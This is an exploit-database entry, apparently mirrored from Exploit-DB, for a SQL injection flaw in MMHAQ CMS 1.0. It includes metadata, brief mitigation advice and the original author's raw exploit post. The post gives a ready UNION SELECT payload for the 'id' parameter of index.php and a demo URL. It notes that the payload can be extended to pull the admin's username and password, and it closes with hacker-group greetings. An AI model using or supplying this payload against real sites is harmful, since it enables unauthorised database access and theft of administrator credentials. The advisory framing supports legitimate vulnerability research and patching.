MMHAQ CMS sqli vulnersbility

vendor:

MMHAQ CMS

by:

s1ayer

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: MMHAQ CMS

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:mmhaq:mmhaq_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

MMHAQ CMS sqli vulnersbility

MMHAQ CMS is vulnerable to SQL injection. An attacker can exploit this vulnerability by sending a crafted SQL query to the vulnerable parameter 'id' in the 'index.php' page. This can be used to extract the version of the database from the title bar of the browser.

Mitigation:

Input validation should be used to prevent SQL injection attacks. The application should also be configured to use parameterized queries.

Source

Exploit-DB raw data:

########################################################
MMHAQ CMS sqli vulnersbility
########################################################
 
[+]Title:   MMHAQ CMS sqli vulnersbility
[+]Version: only one version is released
[+]Download: http://www.mmhaq.net/index.php?page=pack_linux
[+]Author:  s1ayer
[+]Contact: s1ayer.icw@gmail.com    
########################################################
Description:
MMHAQ CMS fully functional Content Management System in PHP on top of MySQL.
Including articles, news, file management and all of the general functionalities of a CMS.
It is completely accessible and very easy to use on a daily basis.
########################################################

#[Exploit] :

[Bug] = index.php?id=SQL]

[SQL] = -1%20union%20all%20select%201,version(),3,4,5,6--

#[Demo] :

[+] http://127.0.0.1/index.php?id=-1%20union%20all%20select%201,version(),3,4,5,6--

Explanation:Version of the database can be seen at the title bar of the browser, this exploit can be further exploited to gain the user id and password of the admin.

 GREETZ: r45c4l,b0nd,sai,sm4rt,fb1,jappan, and all ICW and andhrhahackers members.